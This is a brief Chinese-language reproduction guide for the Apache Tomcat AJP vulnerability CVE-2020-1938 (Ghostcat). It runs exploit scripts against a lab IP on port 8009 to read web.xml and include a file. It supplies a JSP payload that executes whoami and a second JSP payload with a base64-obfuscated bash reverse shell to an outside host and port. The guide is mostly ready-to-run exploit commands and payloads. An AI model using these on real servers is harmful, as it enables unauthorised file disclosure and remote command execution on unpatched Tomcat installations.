一、影響版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
二、前提條件
AJP Connector 服務端口(以上漏洞版本默認開啟:8009端口)
三、環境搭建
靶機IP:10.4.116.142
8009服務確認:telnet 10.4.116.142 8009
四、復現
下面參考鏈接有git地址,下載即可
任意文件讀取復現:
python2 "Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 10.4.116.142 //讀取web.xml文件
任意文件包含復現命令:
python2 "Tomcat-ROOT路徑下文件包含(CVE-2020-1938).py" -p 8009 -f /11.txt 10.4.116.142
執行whoami命令:
<% java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
反彈shell,自己編譯bash后的代碼,編譯地址:http://www.jackson-t.ca/runtime-exec-payloads.html
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
坑:可以讀取到的文件11.txt文件是直接放到漏洞環境webapps/ROOT目錄下的,不是本地包含上去的,所以這里想要拿到shell的條件比較苛刻。
參考鏈接:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read